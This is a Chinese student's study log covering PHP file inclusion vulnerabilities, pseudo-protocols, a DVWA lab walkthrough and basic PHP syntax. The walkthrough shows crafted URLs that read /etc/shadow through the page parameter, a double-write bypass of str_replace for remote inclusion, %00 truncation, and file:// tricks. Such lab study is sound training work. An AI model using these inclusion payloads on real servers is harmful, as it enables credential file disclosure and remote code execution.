Web學習——任務五
複述本週任務
時間:2020.5.29——2020.6.06
內容:
- 學習file inclusion(文件包含),瞭解各種僞協議知識
- 完成dvwa第四個模塊file inclusion
- 繼續學習php
學習file inclusion(文件包含),瞭解各種僞協議知識
file inclusion概念
⭐ File Inclusion:指當服務器開啓allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。
⭐ 分類:
- 本地文件包含漏洞
- 遠程文件包含漏洞(開啓了allow_url_fopen選項)
一些函數和參數:
僞協議
php://
——訪問各個輸入/輸出流(I/O streams)
-
php:// input
——可以訪問請求的原始數據的只讀數據流 -
php:// output
——可以訪問請求的原始數據的只寫數據流 -
php:// filter
-
php:// memory 和 php:// temp
data:// (數據)
-
用法:
data://text/plain;base64, -
轉換過濾器
-
convert.*
-
base64
-
string.*
file://
—— 訪問本地文件系統
完成dvwa第四個模塊file inclusion
在上一個小任務中,已經對file inclusion文件包含有了一定的瞭解,下面,將利用DVWA對其進行實踐性學習。
同樣,有
low、medium、high、impossible四種難易等級。
前提設置
有顯示:The PHP function allow_url_include is not enabled.
因此,再網上搜到一些解決方案:把 php.ini 配置中的allow_url_include = Off 改成 On,但是我並沒有出現和他一樣的反應。
換了一種有同經歷的經驗貼,對phpstudy --> 環境 --> php --> 看遠程包含是否打開。
然後就可以了:
low級別
view source:
服務器端對page參數沒有做任何的過濾,下面的三個php文件點擊就可以打開。
⚪ 漏洞利用
本地文件包含:
-
構造惡意url:http://本地ip/dvwa-master/vulnerabilities/fi/?page=/etc/shadow
⭐ /etc/shadow:linux下所有的用戶名,密碼信息會放在/etc/shadow下。
會彈出warning,並且暴露出服務器文件的絕對路徑; -
構造url:http://本地ip/dvwa-master/vulnerabilities/fi/?page=D:\phpstudy_pro\WWW\DVWA-master\php.ini
-
構造url:
這裏出現了一個新知識點:
⭐ Magic_quote_gpc選項
學習鏈接:PHP magic_quotes_gpc()函數
一切的編程都需要在magic_quotes_gpc=Off 下進行
在php版本小於5.3.4的服務器中,當Magic_quote_gpc選項爲Off 時,可在文件名中%00進行截斷,即文件名中%00後的內容不會被識別
我們可以通過利用Magic_quote_gpc選項繞過page參數後綴必須是php這個過濾規則。
因此,構造url:
但是,沒有成功…
用hackbar:
在網上搜了一下:新版phpstudy切換php版本(php版本切換無效問題)jie
However,還是有問題:
存疑待解
遠程文件包含:
輸入下圖所示url,得到:
medium級別
view source:
代碼使用了str_replace函數,利用該函數對page參數進行了一定的處理,將"http:// "、“https://”、
、
以上四個進行了過濾(替換爲空字符),但還是可以利用雙寫等措施來繞過替換規則。例如page=htthttp://p://10.10.10.151/phpinfo.txt時,str_replace函數會將http://過濾掉,於是就變爲page=http://10.10.10.151/phpinfo.txt,成功執行遠程命令。
新知識點:
⭐ str_replace()函數
學習鏈接:PHP str_replace() 函數
本地文件包含:
雖然下面有報錯:
Warning: Cannot modify header information - headers already sent by…在網上搜了一下…應該是沒成功,先放着…
存疑待解
遠程文件包含:
將http://替換爲hthttp://tp://,輸入下圖所示url。得到:
high級別
調整Security Level爲High的時候,打開File Inclusion出現以下界面:
在網上找到了解決方法:
- 按照路徑找到high.php;
- 添加以下語句:
if(!function_exists('fnmatch')) {
function fnmatch($pattern, $string) {
return preg_match("#^".strtr(preg_quote($pattern, '#'),array('\*' => '.*', '\?'=> '.'))."$#i", $string);
} // end
} // end if
即:
ok:
view source:
代碼使用了fnmatch函數 ,檢查page參數,對包含的文件名 進行了限制,要求page參數的開頭必須是file,否則報錯。那麼我們可以嘗試利用file協議 來繞過防護策略。
新知識點:
⭐ 1. fnmatch函數
根據指定的模式來匹配文件名或字符串
⭐ 2. file協議
- 本地文件傳輸協議
- 主要用於訪問本地計算機中的文件
- 需要知道上傳文件的絕對路徑
本地文件包含:
impossible級別
view source:
由於page參數必須爲“include.php”、“file1.php”、“file2.php”、“file3.php”中其中一個,impossible級別下,直接利用白名單機制,點擊後均exit。
⭐ 白名單機制:
附學習鏈接:後端系統開發之白名單機制
白名單是設置能通過的用戶,白名單以外的用戶都不能通過。與黑名單相對。
學習php
前期學姐有推薦用sublime text 3來編輯php,所以抱着學習態度,在本次任務中將開始着手使用。
sublime text 3安裝
❗ 在官網上下載的時候,總是顯示此類型文件會損害計算機,搞得本來就學得不好的我沒有勇氣點保留…(百度也搜不出個啥)
因此換了個地方下載——www.php.cn 網站
完畢:
然後安裝了一些插件
附鏈接:20個強大的Sublime Text插件
- Package Control
- SublimeLinter
- …
php小探索
If…Else 語句
-
if 條件語句
僅當條件成立時執行代碼
-
if…else 語句
條件成立時執行某指定代碼;不成立就執行另一個代碼
-
if…else if…else 語句
條件1成立時,執行代碼1;條件2成立時,執行代碼2;兩個條件都不成立時,執行代碼3
Switch 語句
多個條件,多個執行代碼
例:
數組
能在單個變量中存儲多個值的特殊變量,可以根據鍵訪問其中的值。
常用array()函數來創建數組:
- array();
- 兩種方式
- 自動分配ID鍵
$names=array(“Alice”,“Jenny”,“Kally”); - 人工分配ID鍵
$names[0]=“Alice”;
$names[1]=“Jenny”;
$names[2]=“Kally”;
在php中,有三種類型的數組:
-
數值數組
——帶有數字的
-
關聯數組
——帶有指定的鍵的數組(每個鍵關聯一個值)
-
多維數組
——包含一個或多個數組的數組
⭐ count() 函數
用於返回數組的長度(元素的數量)
數組排序
- sort()
對數組進行升序排列 - rsort()
對數組進行降序排列 - asort()
根據關聯數組的值,對數組進行升序排列 - arsort()
根據關聯數組的值,對數組進行降序排列 - ksort()
根據關聯數組的鍵,對數組進行升序排列 - krsort()
根據關聯數組的鍵,對數組進行降序排列
注意,在sort()和rsort()中:
- 按字母/數字升序降序
超級全局變量
- $GLOBALS
- $_SERVER
- $_REQUEST
- $_POST
- $_GET
- $_FILES
- $_ENV
- $_COOKIE
- $_SESSION
While 循環
-
while語句
只要指定的條件成立,則循環執行代碼塊
-
do…while 語句
首先執行一次代碼塊,然後在指定的條件成立時重複這個循環
For 循環
注意:
-
要提前知道循環執行代碼塊的次數
- 初始值(可爲空)
- 條件
- 增量(可爲空)
補充:
-
foreach 循環
可以輸出當前變量的值(時時賦值)
以上就是我第五次任務的完成情況,不足之處還請大家批評指正!謝謝!